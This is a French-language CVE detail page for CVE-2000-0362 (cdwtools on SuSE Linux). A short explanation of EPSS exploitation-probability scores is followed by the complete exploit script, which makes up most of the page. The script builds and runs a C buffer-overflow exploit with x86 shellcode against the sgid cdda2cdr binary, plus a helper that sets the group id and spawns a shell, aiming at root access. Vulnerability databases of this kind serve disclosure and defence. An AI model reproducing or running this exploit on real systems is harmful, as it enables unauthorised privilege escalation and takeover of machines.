CVE-2000-0362 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/bin/sh #source: https://www.securityfocus.com/bid/738/info # #cdwtools is a package of utilities for cd-writing. The linux version of these utilities, which ships with S.u.S.E linux 6.1 and 6.2, is vulnerable to several local root #compromises. It is known that there are a number of ways to exploit these packages, including buffer overflows and /tmp symlink attacks. # #--- cdda2x.sh --- #!/bin/sh # # Shell script for Linux x86 cdda2cdr exploit # Brock Tellier btellier@usa.net # cat > /tmp/cdda2x.c <<EOF /** ** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros) ** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz> ** ** Brock Tellier btellier@usa.net **/ #include <stdlib.h> #include <stdio.h> char exec[]= /* Generic Linux x86 running our /tmp program */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/cd"; #define LEN 500 #define NOP 0x90 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } void main(int argc, char *argv[]) { int offset=0; int i; int buflen = LEN; long int addr; char buf[LEN]; if(argc > 3) { fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]); exit(0); } else if (argc == 2){ offset=atoi(argv[1]); } else if (argc == 3) { offset=atoi(argv[1]); buflen=atoi(argv[2]); } else { offset=500; buflen=500; } addr=get_sp(); fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n"); fprintf(stderr, "Brock Tellier btellier@usa.net\n"); fprintf(stderr, "Using addr: 0x%x\n", addr+offset); memset(buf,NOP,buflen); memcpy(buf+(buflen/2),exec,strlen(exec)); for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4) *(int *)&buf[i]=addr+offset; execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL); /* for (i=0; i < strlen(buf); i++) putchar(buf[i]); */ } EOF cat > /tmp/cd.c <<EOF void main() { setregid(getegid(), getegid()); system("/bin/bash"); } EOF gcc -o /tmp/cd /tmp/cd.c gcc -o /tmp/cdda2x /tmp/cdda2x.c echo "Note that gid=6 leads to easy root access.." /tmp/cdda2x
